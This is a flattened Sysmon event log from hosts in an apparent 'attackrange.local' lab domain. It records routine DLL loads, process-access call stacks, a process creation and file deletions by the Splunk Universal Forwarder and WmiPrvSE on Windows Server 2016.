Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000052298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000052297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000052295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000052293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000052292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exeMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748trueSplunk, Inc.Valid 10341000x800000000000000052290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000052285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000052284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.688{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000052283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.234{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=18DF580BEC9B1580D7E3DB6E3D762894,SHA256=14903A3C7DB85ACBE5DFCC40DEC7AC58143ECCFF6CFAE80C50A3218D2F4E286A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000052282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.119{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000052281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.119{7BD73061-7304-613B-6D0B-00000000F001}59486632C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.103{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000052279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.103{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000016698Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:22.138{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=310A221D2157D185289C2E0AC69F519A,SHA256=1A7516C970F72207C8EA68404FB33A79D6688715514C5A02CCCADF7F1DBB6706,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000052371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.997{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\wbemsvc.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemsvc.dllMD5=2BE97028B7B85762561F475E31989C2A,SHA256=75C9D8C6D41B4B7D70666A8107A08A748CEF6CB9E60AD0288B10CDE12E274AFF,IMPHASH=200200BEAF933FA4627BF83C67BA473EtrueMicrosoft WindowsValid 734700x800000000000000052370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.981{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000052369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.981{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000052368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.981{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\wbemprox.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemprox.dllMD5=B7B56FAC395BEEDC20120FD0170A23A3,SHA256=7BDF579D7348D84F251A8411E40E14ADF9406F954914C1C4DE30E880DCF6CEB3,IMPHASH=96416B54C1F2E15EF294753DF1CB4131trueMicrosoft WindowsValid 734700x800000000000000052367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.981{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\clbcatq.dll2001.12.10941.16384 (rs1_release.210107-1130)COM+ Configuration CatalogMicrosoft® Windows® Operating SystemMicrosoft CorporationCLBCATQ.DLLMD5=A82FB68F785E73141F5ABC91850595A8,SHA256=416DE0DA209CDCBE9B5D1A868CE972F8FE3399FF62E84EFD46D6FD49BDF7B7B2,IMPHASH=0BE8D1F061DD646F6D2B834CB7C9C900trueMicrosoft WindowsValid 10341000x800000000000000052366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.981{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.981{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000052364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000052363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000052362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000052360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000052359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000052358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000052357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000052356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000052355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000052354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000052353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft 